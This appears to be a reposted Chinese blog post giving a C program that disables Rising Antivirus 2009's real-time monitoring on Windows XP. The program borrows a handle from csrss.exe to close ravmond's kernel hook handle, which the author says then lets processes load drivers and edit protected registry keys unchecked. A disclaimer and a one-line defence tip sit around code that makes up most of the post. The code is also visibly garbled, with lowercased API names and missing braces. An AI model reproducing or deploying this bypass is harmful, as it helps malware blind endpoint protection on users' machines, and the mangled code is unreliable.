天天看點

使用者層關閉瑞星2009防毒軟體安全保護

我寫這個純粹是hacker精神,如果被濫用做病毒木馬一類的邋遢東東,可跟偶沒關系哦。

原理very簡單,我發現瑞星監控主要在ravmond程序中,如果打破其與核心的聯系,則

瑞星監控功能就無法正常工作了,怎麼打破聯系呢?如果是進核心的話當然有很多的辦法,

進而沒有挑戰性了,況且ravmond會阻止使用者程序去加載驅動或者動系統資料庫的關鍵地方,

比如run子鍵。下面上測試代碼:

int main(int argc,char *argv[])

{

    if(argc != 4)

        puts("usage ccon csrss.pid prmd.handle hooksys.handle");

    else

    {

        int pid = atoi(argv[1]);

        int hprmd = atoi(argv[2]);

        int hobj = atoi(argv[3]);

        if(!setdebugprivilege(true))

            puts("setdebugprivilege failed!");

        handle hcs = openprocess(process_all_access,false,pid);

        if(!hcs)

        {

            puts("open csrss.exe failed");

            printerr(getlasterror());

        }

        else //直接打開ravmond程序會失敗的,so采用迂回戰術

            handle hprmd_loc;

            if(!duplicatehandle(hcs,(handle)hprmd,getcurrentprocess(),/

                &hprmd_loc,process_all_access,false,0))

            {

                puts("get hprmd_loc failed!");

                printerr(getlasterror());

            }

            else //關閉hooksys的句柄,打破其與核心的聯系

                handle hobj_loc;

                if(!duplicatehandle(hprmd_loc,(handle)hobj,/

                    getcurrentprocess(),&hobj_loc,0,false,/

                    duplicate_close_source | duplicate_same_access))

                {

                    puts("get hobj_loc failed!");

                    printerr(getlasterror());

                }

                else

                    if(!closehandle(hobj_loc))

                    {

                        puts("close hobj_loc failed");

                    }

                    else

                        puts("we success finally!!!");

    }

    return 0;

}

打破瑞星監控與核心的關聯之後,使用者程序可以任意加載驅動程式進核心或者篡改系統資料庫

中的關鍵内容,我測試了一下,雖然第一次修改系統資料庫中的監控内容時瑞星還是會提示用

戶是否允許修改,但是這時即使選擇否,同樣可以修改成功,而且以後的修改瑞星不會再

提示了。

其實防守起來也很容易,瑞星隻要不讓我們在ring3下取到hooksys的句柄就行了,當然

仍然防不住核心中的攻擊,進入ring0還是可以為所欲為。

我的測試環境 windows xp sp3 + 瑞星殺毒2009 21.49.14 測試成功

繼續閱讀